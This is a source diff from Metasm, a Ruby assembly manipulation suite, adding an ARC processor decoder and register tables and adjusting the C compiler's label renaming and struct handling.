addop_data 'mov', 13, :rd, :rnx
|
||||
addop_data 'bic', 14, :rd, :rn
|
||||
addop_data 'mvn', 15, :rd, :rnx
|
||||
|
||||
addop 'b', 0b1010 << 24, :setip, :stopexec, :i24
|
||||
addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
|
||||
addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef
|
||||
addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24
|
||||
addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm
|
||||
addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm
|
||||
addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle
|
||||
|
||||
addop_load 'str', (1 << 26)
|
||||
addop_load 'ldr', (1 << 26) | (1 << 20)
|
||||
addop_load_lsh
|
||||
addop_ldm 'stm', (1 << 27)
|
||||
addop_ldm 'ldm', (1 << 27) | (1 << 20)
|
||||
end
|
||||
alias init_latest init_arm_v6
|
||||
end
|
||||
end
|
||||
|
||||
__END__
|
||||
addop_cond 'mrs', 0b0001000011110000000000000000, :rd
|
||||
addop_cond 'msr', 0b0001001010011111000000000000, :rd
|
||||
addop_cond 'msrf', 0b0001001010001111000000000000, :rd
|
||||
|
||||
addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm
|
||||
addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm
|
||||
|
||||
addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm
|
||||
addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm
|
||||
|
||||
addop_cond 'undef', 0b00000110000000000000000000010000
|
||||
|
||||
addop_cond 'swi', 0b00001111 << 24
|
||||
|
||||
addop_cond 'bkpt', 0b1001000000000000001110000
|
||||
addop_cond 'movw', 0b0011 << 24, :movwimm
|
|
@ -11,14 +11,14 @@ module Metasm
|
|||
module C
|
||||
class Parser
|
||||
def precompile
|
||||
@toplevel.precompile(Compiler.new(self))
|
||||
@toplevel.precompile(Compiler.new(self, @program))
|
||||
self
|
||||
end
|
||||
end
|
||||
|
||||
# each CPU defines a subclass of this one
|
||||
class Compiler
|
||||
# an ExeFormat (mostly used for unique label creation)
|
||||
# an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name)
|
||||
attr_accessor :exeformat
|
||||
# the C Parser (destroyed by compilation)
|
||||
attr_accessor :parser
|
||||
|
@ -26,6 +26,8 @@ module C
|
|||
attr_accessor :source
|
||||
# list of unique labels generated (to recognize user-defined ones)
|
||||
attr_accessor :auto_label_list
|
||||
# map asm name -> original C name (for exports etc)
|
||||
attr_accessor :label_oldname
|
||||
|
||||
attr_accessor :curexpr
|
||||
# allows 'raise self' (eg struct.offsetof)
|
||||
|
@ -34,9 +36,11 @@ module C
|
|||
end
|
||||
|
||||
# creates a new CCompiler from an ExeFormat and a C Parser
|
||||
def initialize(parser, exeformat=ExeFormat.new, source=[])
|
||||
def initialize(parser, exeformat=nil, source=[])
|
||||
exeformat ||= ExeFormat.new
|
||||
@parser, @exeformat, @source = parser, exeformat, source
|
||||
@auto_label_list = {}
|
||||
@label_oldname = {}
|
||||
end
|
||||
|
||||
def new_label(base='')
|
||||
|
@ -155,7 +159,9 @@ module C
|
|||
c_init_state(func)
|
||||
|
||||
# hide the full @source while compiling, then add prolog/epilog (saves 1 pass)
|
||||
@source << '' << "#{func.name}:"
|
||||
@source << ''
|
||||
@source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name]
|
||||
@source << "#{func.name}:"
|
||||
presource, @source = @source, []
|
||||
|
||||
c_block(func.initializer)
|
||||
|
@ -246,6 +252,7 @@ module C
|
|||
w = data.type.align(@parser)
|
||||
@source << ".align #{align = w}" if w > align
|
||||
|
||||
@source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
|
||||
@source << data.name.dup
|
||||
len = c_idata_inner(data.type, data.initializer)
|
||||
len %= w
|
||||
|
@ -398,6 +405,7 @@ module C
|
|||
end
|
||||
|
||||
def c_udata(data, align)
|
||||
@source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
|
||||
@source << "#{data.name} "
|
||||
@source.last <<
|
||||
case data.type
|
||||
|
@ -418,7 +426,11 @@ module C
|
|||
len == 0 ? align : len
|
||||
end
|
||||
|
||||
# return non-nil if the variable name is unsuitable to appear as is in the asm listing
|
||||
# eg filter out asm instruction names
|
||||
def check_reserved_name(var)
|
||||
return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name)
|
||||
%w[db dw dd dq].include?(var.name)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -538,21 +550,36 @@ module C
|
|||
class Declaration
|
||||
def precompile(compiler, scope)
|
||||
if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var)
|
||||
# TODO fix label name in export table if __exported
|
||||
scope.symbol.delete @var.name
|
||||
old = @var.name
|
||||
@var.name = compiler.new_label @var.name until @var.name != old
|
||||
compiler.toplevel.symbol[@var.name] = @var
|
||||
# TODO no pure inline if addrof(func) needed
|
||||
compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline'
|
||||
ref = scope.symbol.delete old
|
||||
if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer)
|
||||
if n = compiler.label_oldname.index(old)
|
||||
# reuse same name as predeclarations
|
||||
@var.name = n
|
||||
else
|
||||
newname = old
|
||||
newname = compiler.new_label newname until newname != old
|
||||
if not compiler.check_reserved_name(@var)
|
||||
compiler.label_oldname[newname] = old
|
||||
end
|
||||
@var.name = newname
|
||||
end
|
||||
ref ||= scope.symbol[@var.name] || @var
|
||||
# append only one actual declaration for all predecls (the one with init, or the last uninit)
|
||||
scope.statements << self if ref.eql?(@var)
|
||||
else
|
||||
@var.name = compiler.new_label @var.name until @var.name != old
|
||||
compiler.toplevel.statements << self
|
||||
end
|
||||
compiler.toplevel.symbol[@var.name] = ref
|
||||
else
|
||||
scope.symbol[@var.name] ||= @var
|
||||
appendme = true
|
||||
appendme = true if scope.symbol[@var.name].eql?(@var)
|
||||
end
|
||||
|
||||
if i = @var.initializer
|
||||
if @var.type.kind_of? Function
|
||||
if @var.type.type.kind_of? Struct
|
||||
if @var.type.type.kind_of? Union
|
||||
s = @var.type.type
|
||||
v = Variable.new
|
||||
v.name = compiler.new_label('return_struct_ptr')
|
||||
|
@ -568,6 +595,7 @@ module C
|
|||
Label.new(i.return_label).precompile(compiler, i)
|
||||
i.precompile_optimize
|
||||
# append now so that static dependencies are declared before us
|
||||
# TODO no pure inline if addrof(func) needed
|
||||
scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline'
|
||||
elsif scope != compiler.toplevel and @var.storage != :static
|
||||
scope.statements << self if appendme
|
||||
|
@ -580,7 +608,6 @@ module C
|
|||
else
|
||||
scope.statements << self if appendme
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# turns an initializer to CExpressions in scope.statements
|
||||
|
@ -877,7 +904,7 @@ module C
|
|||
def precompile(compiler, scope)
|
||||
if @value
|
||||
@value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression
|
||||
if @value.type.untypedef.kind_of? Struct
|
||||
if @value.type.untypedef.kind_of? Union
|
||||
@value = @value.precompile_inner(compiler, scope)
|
||||
func = scope.function.type
|
||||
CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope)
|
||||
|
@ -1011,7 +1038,7 @@ module C
|
|||
lexpr = CExpression.precompile_inner(compiler, scope, @lexpr)
|
||||
@lexpr = nil
|
||||
@op = nil
|
||||
if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0
|
||||
if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0
|
||||
off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned))
|
||||
@rexpr = CExpression.new(lexpr, :'+', off, lexpr.type)
|
||||
# ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr))
|
||||
|
@ -1157,7 +1184,7 @@ module C
|
|||
}
|
||||
scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled
|
||||
CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope)
|
||||
elsif @type.kind_of? Struct
|
||||
elsif @type.kind_of? Union
|
||||
var = Variable.new
|
||||
var.name = compiler.new_label('return_struct')
|
||||
var.type = @type
|
||||
|
@ -1434,4 +1461,3 @@ module C
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/cpu/arc/decode'
|
|
@ -0,0 +1,425 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/arc/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
class ARC
|
||||
def major_opcode(val, sz = 16)
|
||||
return val >> (sz == 16 ? 0xB : 0x1B)
|
||||
end
|
||||
|
||||
def sub_opcode(val)
|
||||
return ((val >> 16) & 0x3f)
|
||||
end
|
||||
|
||||
def build_opcode_bin_mask(op, sz)
|
||||
op.bin_mask = 0
|
||||
op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]}
|
||||
op.bin_mask = ((1 << sz)-1) ^ op.bin_mask
|
||||
end
|
||||
|
||||
def build_bin_lookaside
|
||||
bin_lookaside = {}
|
||||
opcode_list.each{|mode,oplist|
|
||||
lookaside = {}
|
||||
# 2nd level to speed up lookaside for major 5
|
||||
lookaside[5] = {}
|
||||
oplist.each { |op|
|
||||
next if not op.bin.kind_of? Integer
|
||||
build_opcode_bin_mask(op, mode)
|
||||
mj = major_opcode(op.bin, mode)
|
||||
if mode == 32 and mj == 5
|
||||
(lookaside[mj][sub_opcode(op.bin)] ||= []) << op
|
||||
else
|
||||
(lookaside[mj] ||= []) << op
|
||||
end
|
||||
}
|
||||
bin_lookaside[mode] = lookaside
|
||||
}
|
||||
bin_lookaside
|
||||
end
|
||||
|
||||
def instruction_size(edata)
|
||||
val = major_opcode(edata.decode_imm(:u16, @endianness))
|
||||
edata.ptr -= 2
|
||||
(val >= 0xC) ? 16 : 32
|
||||
end
|
||||
|
||||
def memref_size(di)
|
||||
case di.opcode.name
|
||||
when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1
|
||||
when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2
|
||||
else 4
|
||||
end
|
||||
end
|
||||
|
||||
def decode_bin(edata, sz)
|
||||
case sz
|
||||
when 16; edata.decode_imm(:u16, @endianness)
|
||||
when 32
|
||||
# wordswap
|
||||
val = edata.decode_imm(:u32, :little)
|
||||
((val >> 16) & 0xffff) | ((val & 0xffff) << 16)
|
||||
end
|
||||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
di = DecodedInstruction.new(self)
|
||||
|
||||
@instrlength = instruction_size(edata)
|
||||
val = decode_bin(edata, @instrlength)
|
||||
edata.ptr -= @instrlength/8
|
||||
|
||||
maj = major_opcode(val, @instrlength)
|
||||
lookaside = @bin_lookaside[@instrlength][maj]
|
||||
lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5
|
||||
|
||||
op = lookaside.select { |opcode|
|
||||
if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin
|
||||
puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}"
|
||||
end
|
||||
(val & opcode.bin_mask) == opcode.bin
|
||||
}
|
||||
|
||||
if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop'
|
||||
op = op.last
|
||||
elsif op == nil or op.size != 1
|
||||
puts "[> I sense a disturbance in the force <]"
|
||||
op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" }
|
||||
puts "current value: #{Expression[val]}"
|
||||
puts "current value: 0b#{val.to_s(2)}"
|
||||
op = nil
|
||||
else
|
||||
op = op.first
|
||||
end
|
||||
|
||||
di if di.opcode = op
|
||||
end
|
||||
|
||||
Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15]
|
||||
def reduced_reg_set(i)
|
||||
Reduced_reg[i]
|
||||
end
|
||||
|
||||
def decode_instr_op(edata, di)
|
||||
before_ptr = edata.ptr
|
||||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
val = decode_bin(edata, @instrlength)
|
||||
|
||||
field_val = lambda { |f|
|
||||
r = (val >> @fields_shift[f]) & @fields_mask[f]
|
||||
case f
|
||||
|
||||
# 16-bits instruction operands ------------------------------------------"
|
||||
when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r)
|
||||
when :ch
|
||||
r = (((r & 7) << 3) | (r >> 5))
|
||||
when :@cbu7, :@cbu6, :@cbu5
|
||||
r = r & 0b11111
|
||||
r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r)
|
||||
when :cu5ee; r = r << 2
|
||||
when :cdisps13
|
||||
r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2)
|
||||
when :cdisps10
|
||||
r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2)
|
||||
when :cdisps8
|
||||
r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
|
||||
when :cdisps7
|
||||
r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2)
|
||||
when :cs9, :cs10, :cs11
|
||||
r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) )))
|
||||
r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r)
|
||||
when :@cspu7;
|
||||
r = r << 2
|
||||
|
||||
# 32-bits instruction operands ------------------------------------------"
|
||||
when :b
|
||||
r = (r >> 12) | ((r & 0x7) << 3)
|
||||
when :s8e
|
||||
r = ((r & 0x1) << 7) | (r >> 2)
|
||||
r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2)
|
||||
|
||||
when :u6e
|
||||
r = (r << 1) + ((di.address >> 2) << 2)
|
||||
when :s9
|
||||
r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
|
||||
|
||||
when :s12
|
||||
r = (r >> 6) | ((r & 0x3f) << 6)
|
||||
r = Expression.make_signed(r, 12)
|
||||
|
||||
when :s12e
|
||||
r = (r >> 6) | ((r & 0x3f) << 6)
|
||||
r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2)
|
||||
|
||||
when :s21e
|
||||
r = ((r & 0x3ff) << 10) | (r >> 11)
|
||||
r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2)
|
||||
|
||||
when :s21ee # pc-relative
|
||||
r = ((r & 0x3ff) << 9) | (r >> 12)
|
||||
r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2)
|
||||
|
||||
when :s25e # pc-relative
|
||||
r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17)
|
||||
r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2)
|
||||
|
||||
when :s25ee # pc-relative
|
||||
r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18)
|
||||
r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2)
|
||||
|
||||
when :@bs9
|
||||
r = r >> 3
|
||||
s9 = ((r & 1) << 8) | ((r >> 1) & 0xff)
|
||||
r = Expression.make_signed(s9, 9)
|
||||
|
||||
when :bext, :cext, :@cext
|
||||
if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E)
|
||||
tmp = edata.decode_imm(:u32, :little)
|
||||
r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
|
||||
else
|
||||
r = GPR.new(r)
|
||||
end
|
||||
|
||||
else r
|
||||
end
|
||||
r
|
||||
}
|
||||
|
||||
# decode properties fields
|
||||
op.args.each { |a|
|
||||
case a
|
||||
when :flags15, :flags16
|
||||
di.instruction.opname += '.f' if field_val[a] != 0
|
||||
when :ccond
|
||||
di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0
|
||||
when :delay5, :delay16
|
||||
di.instruction.opname += '.d' if field_val[a] != 0
|
||||
when :cache5, :cache11, :cache16
|
||||
di.instruction.opname +='.di' if field_val[a] != 0
|
||||
when :signext6, :signext16
|
||||
di.instruction.opname += '.x' if field_val[a] != 0
|
||||
when :wb3, :wb9, :wb22
|
||||
case field_val[a]
|
||||
when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a')
|
||||
when 2; di.instruction.opname += '.ab'
|
||||
when 3; di.instruction.opname += '.as'
|
||||
end
|
||||
when :sz1, :sz7, :sz16, :sz17
|
||||
case field_val[a]
|
||||
when 1; di.instruction.opname += 'b'
|
||||
when 2; di.instruction.opname += 'w'
|
||||
end
|
||||
else
|
||||
di.instruction.args << case a
|
||||
|
||||
# 16-bits instruction operands ------------------------------------------"
|
||||
when :cr0; GPR.new 0
|
||||
when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a])
|
||||
when :ch
|
||||
if ((r = field_val[a]) == 0x3E)
|
||||
tmp = edata.decode_imm(:u32, :little)
|
||||
Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
|
||||
else
|
||||
GPR.new(r)
|
||||
end
|
||||
|
||||
when :@gps9, :@gps10, :@gps11
|
||||
imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9
|
||||
Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di))
|
||||
|
||||
when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]]
|
||||
when :cs9, :cs10, :cs11; Expression[field_val[a]]
|
||||
when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]]
|
||||
when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di))
|
||||
when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di))
|
||||
when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di))
|
||||
when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di))
|
||||
|
||||
# 32-bits instruction operands ------------------------------------------"
|
||||
when :a, :b
|
||||
((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r)
|
||||
when :b2; GPR.new field_val[:b]
|
||||
when :c; GPR.new field_val[a]
|
||||
when :bext, :cext; field_val[a]
|
||||
when :@cext
|
||||
target = field_val[a]
|
||||
(di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target
|
||||
|
||||
when :@bextcext
|
||||
tmp = field_val[a]
|
||||
#c = tmp & 0x3F
|
||||
tmp = tmp >> 6
|
||||
b = (tmp >> 12) | ((tmp & 0x7) << 3)
|
||||
Memref.new(field_val[:bext], field_val[:cext], memref_size(di))
|
||||
|
||||
when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]]
|
||||
when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]]
|
||||
when :auxs12; AUX.new field_val[:s12]
|
||||
when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di))
|
||||
when :@bcext; Memref.new(field_val[a], nil, memref_size(di))
|
||||
when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di))
|
||||
when :@bs9
|
||||
# [b,s9] or [limm] if b = 0x3E
|
||||
base = field_val[:bext]
|
||||
Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di))
|
||||
|
||||
# common instruction operands ------------------------------------------"
|
||||
when :zero; Expression[0]
|
||||
when :gp; GPR.new(26)
|
||||
when :sp, :sp2; GPR.new(28)
|
||||
when :blink; GPR.new(31)
|
||||
when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di))
|
||||
when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di))
|
||||
when :@blink; Memref.new(GPR.new(31), nil, memref_size(di))
|
||||
|
||||
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
di.bin_length += edata.ptr - before_ptr
|
||||
|
||||
return if edata.ptr > edata.virtsize
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def disassembler_default_func
|
||||
df = DecodedFunction.new
|
||||
df.backtrace_binding = {}
|
||||
15.times { |i|
|
||||
df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown
|
||||
}
|
||||
df.backtracked_for = []
|
||||
df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr|
|
||||
if funcaddr != :default
|
||||
btfor
|
||||
elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip]
|
||||
btfor
|
||||
else []
|
||||
end
|
||||
}
|
||||
df
|
||||
end
|
||||
|
||||
REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60]
|
||||
def register_symbols
|
||||
REG_SYMS
|
||||
end
|
||||
|
||||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
|
||||
def opshift(op)
|
||||
op[/\d/].to_i
|
||||
end
|
||||
|
||||
def with_res(arg)
|
||||
arg != :zero
|
||||
end
|
||||
|
||||
def init_backtrace_binding
|
||||
sp = :r28
|
||||
blink = :r31
|
||||
|
||||
@backtrace_binding ||= {}
|
||||
|
||||
mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff
|
||||
|
||||
opcode_list.each{|mode, oplist|
|
||||
oplist.map { |ol| ol.name }.uniq.each { |op|
|
||||
binding = case op
|
||||
when /^add/, /^sub/
|
||||
lambda { |di, a0, a1, a2|
|
||||
if (shift = opshift(op)) == 0
|
||||
{ a0 => Expression[[a1, :+, a2], :&, mask[32]] }
|
||||
else
|
||||
{ a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] }
|
||||
end
|
||||
}
|
||||
when /^and/
|
||||
lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } }
|
||||
when /^asl/
|
||||
lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } }
|
||||
when /^bxor/
|
||||
lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }}
|
||||
when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } }
|
||||
when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } }
|
||||
when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } }
|
||||
when 'bl', 'bl_s', /^bl\./
|
||||
# FIXME handle delay slot
|
||||
# "This address is taken either from the first instruction following the branch (current PC) or the
|
||||
# instruction after that (next PC) according to the delay slot mode (.d)."
|
||||
lambda { |di, a0| { blink => Expression[di.next_addr] } }
|
||||
when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } }
|
||||
when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } }
|
||||
when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } }
|
||||
when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } }
|
||||
when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } }
|
||||
when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } }
|
||||
when 'push_s'
|
||||
lambda { |di, a0| {
|
||||
sp => Expression[sp, :-, 4],
|
||||
Indirection[sp, @size/8, di.address] => Expression[a0]
|
||||
} }
|
||||
when 'pop_s'
|
||||
lambda { |di, a0| {
|
||||
a0 => Indirection[sp, @size/8, di.address],
|
||||
sp => Expression[sp, :+, 4]
|
||||
} }
|
||||
end
|
||||
@backtrace_binding[op] ||= binding if binding
|
||||
}
|
||||
}
|
||||
|
||||
@backtrace_binding
|
||||
end
|
||||
|
||||
def get_backtrace_binding(di)
|
||||
a = di.instruction.args.map { |arg|
|
||||
case arg
|
||||
when GPR; arg.symbolic
|
||||
when Memref; arg.symbolic(di.address)
|
||||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
if binding = backtrace_binding[di.opcode.basename]
|
||||
binding[di, *a]
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
{ :incomplete_binding => Expression[1] }
|
||||
end
|
||||
end
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
return [] if not di.opcode.props[:setip]
|
||||
|
||||
arg = case di.opcode.name
|
||||
when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp'
|
||||
expr = di.instruction.args.last
|
||||
expr.kind_of?(Memref) ? expr.base : expr
|
||||
else di.instruction.args.last
|
||||
end
|
||||
|
||||
[Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]]
|
||||
end
|
||||
|
||||
def backtrace_is_function_return(expr, di=nil)
|
||||
Expression[expr].reduce == Expression[register_symbols[5]]
|
||||
end
|
||||
|
||||
def delay_slot(di=nil)
|
||||
return 0 if (not di) or (not di.opcode.props[:setip])
|
||||
return 1 if di.opcode.props[:delay_slot]
|
||||
(di.instruction.opname =~ /\.d/) ? 0 : 1
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,191 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/main'
|
||||
|
||||
module Metasm
|
||||
class ARC < CPU
|
||||
def initialize(e = :little)
|
||||
super()
|
||||
@endianness = e
|
||||
@size = 32
|
||||
end
|
||||
|
||||
class Reg
|
||||
include Renderable
|
||||
|
||||
attr_accessor :i
|
||||
|
||||
def initialize(i); @i = i end
|
||||
|
||||
def ==(o)
|
||||
o.class == self.class and o.i == i
|
||||
end
|
||||
end
|
||||
|
||||
# general purpose reg
|
||||
# Result R0-R1
|
||||
# Arguments R0-R7
|
||||
# Caller Saved Registers R0-R12
|
||||
# Callee Saved Registers R13-R25
|
||||
# Static chain pointer (if required) R11
|
||||
# Register for temp calculation R12
|
||||
# Global Pointer R26 (GP)
|
||||
# Frame Pointer R27 (FP)
|
||||
# Stack Pointer R28 (SP)
|
||||
# Interrupt Link Register 1 R29 (ILINK1)
|
||||
# Interrupt Link Register 2 R30 (ILINK2)
|
||||
# Branch Link Register R31 (BLINK)
|
||||
class GPR < Reg
|
||||
Sym = (0..64).map { |i| "r#{i}".to_sym }
|
||||
def symbolic; Sym[@i] end
|
||||
|
||||
Render = {
|
||||
26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program
|
||||
27 => 'fp', # frame pointer
|
||||
28 => 'sp', # stak pointer
|
||||
29 => 'ilink1', # maskable interrupt link register
|
||||
30 => 'ilink2', # maskable interrupt link register 2
|
||||
31 => 'blink', # branch link register
|
||||
60 => 'lp_count', # loop count register (24 bits)
|
||||
# "When a destination register is set to r62 there is no destination for the result of the instruction so the
|
||||
# result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit
|
||||
# in the instruction)."
|
||||
62 => 'zero'
|
||||
}
|
||||
|
||||
def render
|
||||
if s = Render[i]
|
||||
[s]
|
||||
else
|
||||
# r0-r28 general purpose registers
|
||||
# r32-r59 reserved for extentions
|
||||
["r#@i"]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class AUX < Reg
|
||||
def symbolic; "aux#{i}".to_sym end
|
||||
|
||||
Render = {
|
||||
0x00 => 'status', # Status register (Original ARCtangent-A4 processor format)
|
||||
0x01 => 'semaphore', # Inter-process/Host semaphore register
|
||||
0x02 => 'lp_start', # Loop start address (32-bit)
|
||||
0x03 => 'lp_end', # Loop end address (32-bit)
|
||||
0x04 => 'identity', # Processor Identification register
|
||||
0x05 => 'debug', # Debug register
|
||||
0x06 => 'pc', # PC register (32-bit)
|
||||
0x0A => 'status32', # Status register (32-bit)
|
||||
0x0B => 'status32_l1', # Status register save for level 1 interrupts
|
||||
0x0C => 'status32_l2', # Status register save for level 2 interrupts
|
||||
0x10 => 'ic_ivic', # Cache invalidate
|
||||
0x11 => 'ic_ctrl', # Mode bits for cache controller
|
||||
0x12 => 'mulhi', # High part of Multiply
|
||||
0x19 => 'ic_ivil',
|
||||
0x21 => 'timer0_cnt', # Processor Timer 0 Count value
|
||||
0x22 => 'timer0_ctrl', # Processor Timer 0 Control value
|
||||
0x23 => 'timer0_limit', # Processor Timer 0 Limit value
|
||||
0x25 => 'int_vector_base', # Interrupt Vector Base address
|
||||
0x40 => 'im_set_dc_ctrl',
|
||||
0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode
|
||||
0x43 => 'aux_irq_lv12', # Interrupt Level Status
|
||||
0x47 => 'dc_ivdc', # Invalidate cache
|
||||
0x48 => 'dc_ctrl', # Cache control register
|
||||
